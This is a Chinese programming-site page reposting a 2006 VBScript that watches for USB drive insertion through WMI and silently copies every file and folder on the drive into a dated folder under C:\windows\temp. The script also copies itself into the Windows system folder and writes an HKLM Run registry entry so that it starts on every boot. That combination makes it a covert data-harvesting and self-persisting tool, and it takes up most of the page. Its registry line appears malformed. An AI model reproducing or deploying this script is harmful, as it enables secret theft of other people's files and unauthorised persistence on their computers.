• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

自动监视将USB磁盘文件,自动复制到以C:\(当前日期)目录下。 ...

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

rem ######################################
rem 2006-4-27  郭拉
rem 可以自动运行,将USB磁盘文件,自动复制到
rem 指定目录c:\windows\temp\当前日期
rem
rem #######################################}

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
    ("Select * From __InstanceOperationEvent Within 10 Where " _
        & "TargetInstance isa 'Win32_LogicalDisk'")

Do While True


    dim usbdriver
    Set objEvent = colEvents.NextEvent
    If objEvent.TargetInstance.DriveType = 2 Then
        Select Case objEvent.Path_.Class
            Case "__InstanceCreationEvent"
             rem    Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
             rem        " has been added."
                    usbdriver=objEvent.TargetInstance.DeviceId


            rem Set colDrives = objWMIService.ExecQuery _
            rem                ("Select * From Win32_LogicalDisk Where DriveType = 2")

   rem For Each objDrive in colDrives
   rem     usbdriver = objDrive.DeviceID
   rem     Wscript.Echo "Drive letter: " & usbdriver
   rem Next


   set fso = CreateObject("Scripting.FileSystemObject")
   dim n
   set n = CreateObject("WScript.Shell")
   set dir = fso.GetSpecialFolder(1)
   fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs")
   dim write
   set write = CreateObject("WScript.Shell")
      write.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs", "REG_SZ"
      dim filepath
     
      filepath=now()
      filepath=Replace(filepath,":",".")
      filepath="C:\windows\temp\" & filepath
     
      fso.CreateFolder(filepath)
   
      
   usbdriver=usbdriver & "\*"
      
   fso.CopyFile   usbdriver  ,filepath,True
   fso.CopyFolder usbdriver  ,filepath,True
   

          rem Case "__InstanceDeletionEvent"
          rem       Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
          rem      " has been removed."
        End Select
    End If
Loop


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C#队列(Queue)和堆栈(Stack)发布时间:2022-07-14
下一篇:
Windows10安装Oracle19c数据库详细记录(图文详解)发布时间:2022-07-14
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap